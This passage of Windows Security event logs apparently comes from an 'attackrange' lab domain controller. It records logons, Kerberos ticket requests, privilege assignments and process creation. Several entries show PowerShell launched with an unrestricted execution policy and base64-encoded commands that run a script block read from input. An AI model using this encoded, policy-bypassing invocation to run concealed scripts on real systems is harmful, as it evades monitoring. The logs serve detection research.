wBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251147 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1298AA - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251146 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1298AA - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {451C6376-4C9F-3D22-E75E-B69135BFCBD8} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251145 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {451C6376-4C9F-3D22-E75E-B69135BFCBD8} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251144 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {451C6376-4C9F-3D22-E75E-B69135BFCBD8} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251143 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251142 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12988E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251141 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12988E - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251140 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12988E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {451C6376-4C9F-3D22-E75E-B69135BFCBD8} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251139 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {451C6376-4C9F-3D22-E75E-B69135BFCBD8} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251138 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {451C6376-4C9F-3D22-E75E-B69135BFCBD8} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251137 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251136 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1292FA - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251135 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x128D1E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251245 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12CCB9 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1128 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1130 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251244 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12D10C - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251243 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12D10C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {CD7754EE-4040-C0F7-BE92-72E3BB4DF8A5} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251242 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {CD7754EE-4040-C0F7-BE92-72E3BB4DF8A5} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251241 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {CD7754EE-4040-C0F7-BE92-72E3BB4DF8A5} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251240 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251239 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12CCB9 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1130 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1098 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251238 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12CCB9 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 